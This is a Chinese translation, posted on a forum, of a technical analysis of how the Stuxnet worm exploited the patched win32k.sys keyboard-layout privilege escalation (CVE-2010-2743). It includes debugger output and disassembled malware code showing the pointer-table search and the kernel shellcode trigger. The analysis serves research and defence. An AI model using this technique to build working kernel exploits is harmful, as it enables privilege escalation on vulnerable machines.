本帖最后由 riusksk 于 2011-5-16 09:40 编辑
作者:Sebastien Renaud 译者:riusksk(泉哥:http://riusksk.blogbus.com)
本文将向各位揭示一些关于Stuxnet 蠕虫病毒的技术细节,主要旨在讲述作者是如何利用0day 漏洞实现代码的通用性。文中讨论的是作者所用到的两个Windows 提权漏洞之一。这一漏洞在微软发布的MS10-073 升级补丁中已经修复了,但还有另一个windows 任务调度(TaskScheduler )漏洞尚未修补。虽然本文将深入分析Stuxnet 病毒及其执行的恶意行为,但我们仍将不会公布由来自Symantec 和ESET 的朋友所写的两份详细文档,包括其具体目录和内容。我们将主要关注下Windows Win32K.sys 键盘布局文件提权漏洞(CVE-2010-2743),并分析下Stuxnet 病毒是如何使用自定义的PortableExecutable (PE) 解析方式来实现代码的通用性的。
1.
漏洞分析 此漏洞存在于windows驱动文件”win32k.sys”中,当其从磁盘中加载一个键盘布局文件时,由于不正当地去索引函数指针列表,导致本地提权漏洞的产生。通常,键盘布局文件是通过”LoadKeyboardLayout()”函数来加载的,该函数其实是对win32ksyscall函数 ”NtUserLoadKeyboardLayoutEx()”的封装。下面是加载键盘布局文件后内核中的栈情况: kd> kn
# ChildEBP RetAddr
00 b0982944 bf861cd1 win32k!SetGlobalKeyboardTableInfo
01 b0982958 bf889720win32k!ChangeForegroundKeyboardTable+0x11c
02 b0982978 bf87580ewin32k!xxxSetPKLinThreads+0x37
03 b09829f0 bf875588win32k!xxxLoadKeyboardLayoutEx+0x395
04 b0982d40 8053d658
win32k!NtUserLoadKeyboardLayoutEx+0x164
05 b0982d40 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fccc 00402347 ntdll!KiFastSystemCallRet ;(transition from user to kernel)
一旦恶意构造的键盘布局文件被win32k内核驱动加载后,恶意程序将会向键盘输入流中发送一个事件,进而有效地触发漏洞。此过程会调用”user32!SendUserInput()”函数来执行,其实,它是调用了”win32k!NtUserSendInput()”和”win32k!xxxKENLSProcs()”这两个函数: kd> kn
# ChildEBP RetAddr
00 b0a5ac88 bf848c64
win32k!xxxKENLSProcs
01 b0a5aca4 bf8c355b win32k!xxxProcessKeyEvent+0x1f9
02 b0a5ace4 bf8c341bwin32k!xxxInternalKeyEventDirect+0x158
03 b0a5ad0c bf8c3299
win32k!xxxSendInput+0xa2
04 b0a5ad50 8053d658 win32k!NtUserSendInput+0xcd
05 b0a5ad50 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fd08 7e42f14c ntdll!KiFastSystemCallRet
07 0012fd7c 00401ded
USER32!NtUserSendInput+0xc
WARNING: Stack unwind information not available.Following frames may be wrong.
08 0012fdac 00401331 CVE_2010_2743+0x1ded
在”win32k!xxxKENLSProcs()”函数里面,win32k驱动会去检索先前加载的键盘布局文件中的某一字节。这一字节会被置入ECX寄存器,然后作为函数指针表的索引值: ; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 -version: 5.1.2600.6003
;
.text:BF8A1F50 movzx ecx, byte ptr [eax-83h]
//
ECX可被攻击者控制
.text:BF8A1F57 push edi
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call_aNLSVKFProc[ecx*4]
//
索引函数数组指针
aNLSVKFProc函数数组包含有3个函数,并且后面跟随着一段字节数组: .data:BF99C4B8 _aNLSVKFProc
dd offset _NlsNullProc@12
.data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@12
.data:BF99C4C0
dd offset_KbdNlsFuncTypeAlt@12
.data:BF99C4C4 _aVkNumpad db 67h
.data:BF99C4C5
db 68h
.data:BF99C4C6
db 69h
.data:BF99C4C7
db 0FFh
.data:BF99C4C8
db 64h
.data:BF99C4C9
db 65h
.data:BF99C4CA
db 66h
.data:BF99C4CB
db 0FFh
.data:BF99C4CC
db 61h
.data:BF99C4CD
db 62h
.data:BF99C4CE
db 63h
.data:BF99C4CF
db 60h
.data:BF99C4D0
db 6Eh
.data:BF99C4D1
db 0
.data:BF99C4D2
db 0
.data:BF99C4D3
db 0
[...]
如果请求的索引值大于2,那么代码将会引用字节数组中的值作为指针。如果索引值为5,那么在函数”win32k!xxxKENLSProcs()”中的代码就会调用0xBF99C4CC处的指针,相当于程序将执行至0x60636261。 kd> dds win32k!aNLSVKFProc L6
bf99c4b8 bf9332cawin32k!NlsSendBaseVk
//
index0
bf99c4bc bf93370cwin32k!KbdNlsFuncTypeNormal
//
index 1
bf99c4c0 bf933752win32k!KbdNlsFuncTypeAlt
//
index2
bf99c4c4ff696867
//
index3
bf99c4c8ff666564
//
index4
bf99c4cc60636261
//
index5
[...]
2.
通过PE解析提高代码执行的通用性 当aNLSVKFProc函数数组未被引用输出时,为了获得可在各个”win32k.sys”驱动版本上执行恶意代码的通用性,Stuxnet作者必须确保索引数据位于aNLSVKFProc数组之外,并且指向一个可控制的有效指针,然后执行”call”指令。为了达到上述目的,Stuxnetexploit解析Win32K.sys文件时使用以下方法:
● 以平面数据文件(flatdata file,即无格式文件)的形式加载win32k.sys; ● 获取PE头相关信息(块数,输出表数据目录和输入表数据目录等等); ● 获取时间戳信息; ● 获取.data节段虚拟地址; ● 获取.data节段信息; ● 获取.text节段虚拟地址; ● 获取.text节段信息; ● 搜索特定的二进制签名; ● 搜索NLSVKFProcs函数数组。
Stuxnet使用一个在各”win32k.sys”驱动版本(位于Windows2000和Windows XP中,并且在目标系统上安装好各服务包和补丁)上都存在的二进制签名。这一签名与”aulShiftControlCvt_VK_IBM02”变量(非输出)的前8字节相匹配,其位于二进制文件中的.data节段: .data:BF99C4DC _aulShiftControlCvt_VK_IBM02
.data:BF99C4DC
db91h
.data:BF99C4DD
db0
.data:BF99C4DE db3
.data:BF99C4DF db1
.data:BF99C4E0 db90h
.data:BF99C4E1 db0
.data:BF99C4E2 db13h
.data:BF99C4E3 db1
目前已知签名:
● 存在于各win32k驱动版本; ● 具有唯一性; ● 在aNLSVKFProc函数数组附近。
一旦签名被找到,病毒就在偏移签名处 -1000~ +1000 字节的地址范围内,去搜索驱动中的代码块指针。如下所示,位于0xBF99C478(0xBF9332CA)的指针就指向了代码段: .data:BF99C470 07 00 00 00 00 00 00 00
CA 32 93 BF
59 1D 96 BF
.data:BF99C480 CA 32 93 BF D5 32 93 BF 0D 35 93 BF80 38 93 BF
上述数据转储若从代码的角度来看,情况如下: .data:BF99C470 _fNlsKbdConfiguration db 7
.data:BF99C471 align 8
.data:BF99C478_aNLSKEProc dd
offset _NlsNullProc@12
.data:BF99C47Coff_BF99C47C dd offset _NlsLapseProc@12
.data:BF99C480 dd offset _NlsNullProc@12
[...]
当这样的指针被找到后,病毒将遵循以下条件进行处理(记住,当前代码停在0xBF99C478,我们称之为”pLoc”): - pLoc[0] 和 pLoc[2] 必须是同一指针:
.data:BF99C478_aNLSKEProc dd
offset _NlsNullProc@12
.data:BF99C47Coff_BF99C47C dd offset _NlsLapseProc@12
.data:BF99C480 dd
offset _NlsNullProc@12
- pLoc[0]和pLoc[1] 必须非同一指针: .data:BF99C478_aNLSKEProc dd
offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C dd
offset _NlsLapseProc@12
.data:BF99C480 dd offset _NlsNullProc@12
- pLoc[0]和pLoc[3] 必须非同一指针: .data:BF99C478_aNLSKEProc dd
offset _NlsNullProc@12
.data:BF99C47Coff_BF99C47C dd offset _NlsLapseProc@12
.data:BF99C480 dd offset _NlsNullProc@12
.data:BF99C484 dd
offset _NlsSendParamVk@12
满足以上条件后,病毒就基本可以确定找到”_aNLSKEProc”数组了。然而它将进一步检测该地址上的指针是否指向NlsNullProc()函数,这个通过搜索函数前几字节中的RETN 0C指令(机器码:0xC20C)即可实现: .text:BF9332CA ; __stdcall NlsNullProc(x, x, x)
.text:BF9332CA _NlsNullProc@12 proc near
.text:BF9332CA xor eax, eax
.text:BF9332CC
inceax
.text:BF9332CD
retn0Ch
//
opcodes: 0xC2 0x0C
.text:BF9332CD _NlsNullProc@12 endp
下面是Stuxnet病毒进行机器码搜索的一段反汇编代码: CPU Disasm
10002C5F PUSH 2
10002C61 ADD ECX,DWORD PTRSS:[LOCAL.5]
//
ecx points to func code
10002C64 |XOR EAX,EAX
10002C66 |POPEDI
//
edi= 2
10002C67 |/TEST EAX,EAX
10002C69 ||JNE SHORT 10002C7E
10002C6B ||CMP WORD PTR DS:[ECX+EDI],0CC2
//
c20c => RETN 0c
10002C71 ||SETEAL
//
setAL on condition
10002C74 ||INC EDI
10002C75 ||CMPEDI,0A
//
checkonly for the first 8 bytes
10002C78 |\JB SHORT 10002C67
如果找到”RETN 0C”指令,则当前代码定位在_aNLSKEProc变量中(0xBF99C478): .data:BF99C478 _aNLSKEProc dd
offset _NlsNullProc@12
到这后,程序还会进一步搜索下一个”NlsNullProc()”函数指针: .data:BF99C4B0 dd offset _NlsKanaEventProc@
.data:BF99C4B4
dd offset_NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8
dd
offset _NlsNullProc@12
.data:BF99C4BC
dd offset_KbdNlsFuncTypeNormal@
.data:BF99C4C0
dd offset_KbdNlsFuncTypeAlt@12
如上所见,它找到了非输出的aNLSVKFProc函数数组。为了确保变量正确,病毒又进行了两次检测: - 在偏移 +2处的指针不为NlsNullProc: .data:BF99C4B0
dd offset _NlsKanaEventProc@
.data:BF99C4B4
dd offset_NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8
dd
offset _NlsNullProc@12
.data:BF99C4BC
dd offset_KbdNlsFuncTypeNormal@
.data:BF99C4C0
dd
offset _KbdNlsFuncTypeAlt@12
- 在偏移 -2 处的指针不为NlsNullProc: .data:BF99C4B0
dd
offset _NlsKanaEventProc@
.data:BF99C4B4
dd offset_NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8
dd
offset _NlsNullProc@12
.data:BF99C4BC
dd offset_KbdNlsFuncTypeNormal@
.data:BF99C4C0
dd offset_KbdNlsFuncTypeAlt@12
当所有的这些检测都通过后,病毒就可以完全确定它是aNLSVKFProc了。然后从该函数数组开始检测第一个用户指针: CPU Disasm
10002B35 MOV EDI,10000 //
edi = 0x10000
10002B3A /MOV ECX,DWORD PTRSS:[ARG.2]
//
_aNLSVKFProc
10002B3D |MOVZX EAX,BL
10002B40 |MOV ESI,DWORD PTRDS:[EAX*4+ECX]
//esi = _aNLSVKFProc
10002B43 |CMPESI,7FFF0000
//
mustbe in user space
10002B49 |JNB SHORT 10002B91
10002B4B |CMP DWORD PTR SS:[ARG.6],0
10002B4F |JNE SHORT 10002B55
10002B51 |CMPESI,EDI
//
mustbe above 0x10000
10002B53 |JB SHORT 10002B91
10002B55 |PUSH 1C
10002B57 |LEA EAX,[LOCAL.10]
10002B5A |PUSH EAX
10002B5B |PUSHESI
//
pointer outside array
10002B5C |CALL DWORD PTRDS:[VirtualQuery_p]
//get page information
10002B62 |CMP EAX,1C
10002B65 |JA SHORT 10002BA7
10002B67 |CMP DWORD PTRSS:[LOCAL.6],EDI
//
isit a MEM_FREE page?
10002B6A |JNE SHORT 10002B91
10002B6C |PUSH 40
10002B6E |PUSH 3000
10002B73 |LEA EAX,[LOCAL.3]
10002B76 |PUSH EAX
10002B77 |PUSH 0
10002B79 |LEA EAX,[LOCAL.1]
10002B7C |PUSH EAX
10002B7D |MOV DWORD PTR SS:[LOCAL.1],ESI
10002B80 |CALL DWORD PTR DS:[GetCurrentProcess_p]
10002B86 |PUSH EAX
10002B87 |CALL DWORD PTRDS:[NtAllocateVirtualMemory_p]
//
alloc page
10002B8D |TEST EAX,EAX
10002B8F |JE SHORT 10002BB0
10002B91 |INC BL
10002B93 |CMPBL,0FF
//
i<= 255
10002B96 \JBE SHORT 10002B3A
上述代码片段是从Stuxnet反汇编代码中提取的,它先从函数指针表中获取指针(甚至是从表外获取的),然后检测该指针是否小于0x7FFF0000并大于0x10000。另外,代码还会检测内存页是否已经被映射,如果尚未映射,则分配内存页。在本例中,它将继续在地址0x60636261上分配内存: kd> dds win32k!aNLSVKFProc L6
bf99c4b8 bf9332cawin32k!NlsSendBaseVk //
index 0
bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal
//
index1
bf99c4c0 bf933752win32k!KbdNlsFuncTypeAlt
//
index2
bf99c4c4ff696867
//
index3
bf99c4c8ff666564
//
index4
bf99c4cc 60636261
//
index5
[...]
内存分配完成后,病毒将执行以下操作:
● 将shellcode复制到0x60636261地址上; ● 在键盘布局文件中保存恶意索引值(本例中值为5); ● 加载键盘布局文件并发送输入事件,进而触发漏洞。 最后一步是执行”win32k!xxxKENLSProcs()”函数,然后调用从函数数组中索引得到的函数指针,接着以内核权限去执行任意的shellcode代码。 ; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 -version: 5.1.2600.6003
;
.text:BF8A1F50 movzx ecx, byte ptr[eax-83h] //
ECX =5
.text:BF8A1F57 push edi
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call_aNLSVKFProc[ecx*4] //
Call 0x60636261
正如我们所见到的,在各个操作系统版本(2000或者XP)并安装了各服务包和补丁的情况下,Stuxnet使用了特意构造的PE解析方式,进而保证了函数数组能够被稳定地找到并进行漏洞利用。
该病毒所使用的方法还可以做进一步的改进,或者采用其它不同的方式。但这一病毒的出现正如人们所预料的,它再一次证明了:病毒作者变得越来越聪明了。 |